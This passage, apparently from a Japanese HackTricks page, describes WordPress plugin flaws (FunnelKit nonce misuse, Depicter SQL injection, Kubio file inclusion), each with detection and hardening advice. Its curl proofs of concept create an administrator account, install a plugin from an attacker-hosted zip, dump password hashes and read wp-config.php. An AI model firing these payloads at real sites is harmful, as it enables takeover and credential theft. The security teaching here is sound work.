--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

なぜ悪用可能か

  • 機微な REST ルートが低エントロピーの識別証明(username)だけで保護されている、または permission_callback が欠如している
  • 権限強制が行われておらず、発行されたキーが普遍的なバイパスとして受け入れられている

検出チェックリスト

  • Grep でプラグインコードを検索: register_rest_route(..., [ 'permission_callback' => '__return_true' ])
  • リクエスト提供の識別情報(username/email)に基づいてトークン/キーを発行し、認証済みユーザーや capability に紐付けていないルート
  • 発行済みのトークン/キーをサーバー側での権限チェックなしに受け入れる後続ルートを探す

対策

  • 特権を要する REST ルートには、必要な capability に対して current_user_can() を実行する permission_callback を必須にする
  • クライアント提供の識別情報から長期間有効なキーを発行しない。必要であれば、認証後に短期間有効でユーザーに紐づくトークンを発行し、使用時に再度 capability を確認する
  • 呼び出し元のユーザーコンテキストを検証する(wp_set_current_user は単体では不十分)。!is_user_logged_in() || !current_user_can() の場合はリクエストを拒否する

Nonce gate misuse → 認証されていない任意のプラグインインストール (FunnelKit Automations ≤ 3.5.3)

Nonces は CSRF を防ぐものであり、authorization を防ぐものではない。コードが nonce の検証通過を許可サインと見なし、その後に特権操作(例: プラグインのインストール/有効化)に対する権限チェックをスキップすると、認証されていない攻撃者が弱い nonce 要件を満たしてバックドア入りや脆弱なプラグインをインストールし、RCE に至る可能性がある。

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
  • Impact: full compromise via arbitrary plugin install/activation

PoC (shape depends on plugin; illustrative only)

bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

検出チェックリスト

  • REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
  • Any code path that sets $skip_caps = true after nonce validation

ハードニング

  • Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
  • Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
  • Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows

未認証の SQLi — depicter-* アクションの s (search) パラメータ経由 (Depicter Slider ≤ 3.6.1)

複数の depicter-* アクションが s (search) パラメータを受け取り、パラメータ化せずに SQL クエリに連結していた。

  • Parameter: s (search)
  • Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
  • Impact: データベースの情報持ち出し(users、hashes)、横方向への侵害

PoC

bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

検出チェックリスト

  • Grepでdepicter-*のactionハンドラと、SQL内での$_GET['s']または$_POST['s']の直接使用を探す
  • $wpdb->get_results()/query()に渡されるカスタムクエリで、sを連結しているものを確認する

ハードニング

  • 常に $wpdb->prepare() または wpdb のプレースホルダを使用する;サーバー側で予期しないメタ文字を拒否する
  • s に対して厳格な許可リストを追加し、期待される文字セット/長さに正規化する

認証不要の Local File Inclusion — 未検証のテンプレート/ファイルパス経由 (Kubio AI Page Builder ≤ 2.5.1)

テンプレートパラメータで正規化/コンテインメントせずに攻撃者制御のパスを受け入れると、任意のローカルファイルの読み取りが可能になり、includable PHP/log files がランタイムに取り込まれる場合はコード実行になることがある。

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: 正規化/allowlistingなし;traversalが可能
  • Impact: 機密情報の開示(wp-config.php)、特定環境では RCE の可能性(log poisoning、includable PHP)

PoC – wp-config.php を読み取る

bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

検出チェックリスト

  • realpath() による包含確認なしにリクエストパスを include()/require()/read シンクに連結しているハンドラがないか確認する
  • 意図した templates ディレクトリの外に出る traversal パターン (../) を探す

堅牢化

  • 許可リスト化されたテンプレートを強制する。realpath() で解決し、require str_starts_with(realpath(file), realpath(allowed_base)) を要求する
  • 入力を正規化する。traversal シーケンスや絶対パスを拒否する。sanitize_file_name() はファイル名のみ(フルパスではなく)に使用する

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする